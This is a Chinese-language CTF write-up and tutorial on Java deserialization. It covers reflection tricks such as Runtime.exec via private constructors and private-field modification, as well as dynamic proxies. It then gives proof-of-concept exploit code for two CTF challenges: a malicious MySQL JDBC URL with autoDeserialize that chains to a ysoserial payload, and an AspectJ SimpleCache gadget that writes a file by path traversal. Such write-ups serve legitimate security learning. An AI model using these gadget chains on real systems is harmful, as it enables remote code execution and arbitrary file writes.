java反序列化知识总结和一些ctf的例题
反序列化知识:
对于web手来说,php的反序列化一定不陌生,php的反序列化一般关注的就是魔术方法的调用和动态函数的执行这些,在java这里对参数类型这些要求严格,所以不能像php那么轻松的挖掘反序列化链子,接下来就讲一些cc链里面用到的java的一些特性和一些比较高质量的java_ctf题。
java的反射
本身反射就是为了动态执行类方法,所以我们就可以利用达到命令执行,先来看看java正常命令执行
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
Runtime.getRuntime().exec("calc");
}
}
为什么要通过getRuntime()
来调用exec,而不是直接实例化Runtime呢?看看源码就知道了,发现是因为Runtime构造函数是私有的所以不能直接实例化,而是通过getRuntime()
来进行构造,刚好又是静态方法,所以可以直接调用
但是不想通过getRuntime来得到对象,怎么办呢?这里就可以用到反射的第一个技巧了,利用反射来进行构造,通过这里我们就可以知道了,java可以通过反射来获取私有属性(也就是constructor.setAccessible(true);
这就是为了设置可以获取和修改私有属性这些)。
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
//Runtime.getRuntime().exec("calc");
Class clazz = Class.forName("java.lang.Runtime");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Runtime rt = (Runtime)constructor.newInstance();
rt.exec("calc");
}
}
现在我们再通过反射来调用getRuntime()
再到exec来达到命令执行,这里需要注意一个地方,Method的invoke里面是一个类,而不是一个实例化的对象,主要原因是gt是源于getRuntime这个方法,而刚刚看到getRuntime是一个静态方法,所以这里也就不需要实例化了,这里就是cc链里面很多地方用到反射为什么要通过getRuntime来到exec了。
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
//Runtime.getRuntime().exec("calc");
Class clazz = Class.forName("java.lang.Runtime");
Method gt = clazz.getMethod("getRuntime");
clazz.getMethod("exec",String.class).invoke(gt.invoke(clazz),"calc");
}
}
我们还可以通过反射直接来调用exec执行命令
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
//Runtime.getRuntime().exec("calc");
Class clazz = Class.forName("java.lang.Runtime");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(constructor.newInstance(),"calc");
}
}
通过上面的例子我想对于反射来构造类应该没有什么问题了,当然在反射构造类时还有一个内部类的东西,这里就还是先把反射构造类讲完吧,需要注意的是私有内部类应该怎么构造,可以发现还是通过反射来构造,forName时里面是通过$
来进行分隔的,还有就是newInstance时第一个参数得是这个类的实例化对象(如果不是私有内部类,这里第一个就是内部类对应构造方法的参数)。
public class People {
private class Vuln{
private String inStr="you don't control me";
public Vuln(String s){System.out.println(inStr+s);}
}
}
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
Class clazz = Class.forName("People$Vuln");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
constructor.newInstance(new People(),".Oh it easy?");
}
}
好了,对于反射构造类基本差不多了,反射这里还有一个利用点就是通过反射来修改类的私有属性值,这个有什么用呢?在cc链里面对Hashmap进行put时会对key进行计算,这样就会修改我们加入的类的一些值,所以可以直接通过修改类的值来进行构造
public class People {
private String a="only a?";
public void getA(){ System.out.println(this.a); }
}
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException {
People pl = new People();
pl.getA();
Class clazz = Class.forName("People");
Field fd_a = clazz.getDeclaredField("a");
fd_a.setAccessible(true);
fd_a.set(pl,"I can change it,,,");
pl.getA();
}
}
那么对于java在构造poc中的反射已经差不多了,再来看看动态代理,可以发现动态代理这里主要是通过动态代理生成的类调用方法时首先会触发动态代理的invoke方法,这个在cc1的链子里面也出现过
People.java
public interface People {
public void getA();
}
Man.java
public class Man implements People {
@Override
public void getA(){ System.out.println("Maned");}
}
PeopleHandler.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class PeopleHandler implements InvocationHandler {
private Object target;
public PeopleHandler(Object pl) {
this.target=pl;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoked");
method.invoke(this.target, args);
return null;
}
}
test.java
import java.io.IOException;
import java.lang.reflect.*;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException {
Man man = new Man();
PeopleHandler pl_handler = new PeopleHandler(man);
People pl = (People) Proxy.newProxyInstance(People.class.getClassLoader(),
new Class[] {People.class}, pl_handler);
pl.getA();
}
}
ctf里面一些比较有意思的java题
先来看看2020的羊城杯的java题吧,需要用到动态代理和反射的知识,也就是上面所讲的,动态代理实现的类在调用其他方法时会首先调用动态代理实现的invoke的方法,所以流程如下(通过动态代理的特性配合有漏洞版本的jdbc来达到命令执行):
所以构造poc:
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
/*
info.getAllInfo()
InfoInvocationHandler.invoke()
DatabaseInfo.checkAllInfo()
DatabaseInfo.connect() //配合jdbc的反序列化
*/
public class exp {
public static void main(String[] args) throws Exception {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("127.0.0.1");
databaseInfo.setPort("3306");
databaseInfo.setUsername("yso_CommonsCollections5_calc");
databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(proxy);
objectOutputStream.flush();
objectOutputStream.close();
System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
运行题目和启动fake_server,然后修改cookie值方法hello的路由就可以成功命令执行
现在来看看d3ctf的那个java反序列化题,这里面主要是反射用的多,主要讲反序列化,所以前面2层的绕过就没有必要说明了,直接看看反序列化的流程:
然后来构造poc,这里的poc和nu1l差不多,因为当时比赛没有做出来,后来复现的,生成poc时得把DataMap的Entry里面的hashCode方法直接改成return 1; 这么做的目的是为了让生成poc时不修改我们已经构造好的类
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
public class poc {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
entryConstructor[0].setAccessible(true);
Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式
HashSet map = new HashSet(1);
map.add(entry);//nu1l这之后的操作就是为了修改这个值,目的也是防止add时修改我们已经构造好的类
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj2"));
o.writeObject(map);
o.flush();
o.close();
return 1;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
好了现在把之前改了的hashCode方法改回来,然后反序列化生成的poc
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
public class poc {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
entryConstructor[0].setAccessible(true);
Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式
HashSet map = new HashSet(1);
map.add(entry);
File file = new File("Object.obj2");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object newUser = (Object)ois.readObject();
return 1;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
然后就可以看到所运行盘符的目录下面成功写入文件
点击收藏 | 2
关注 | 1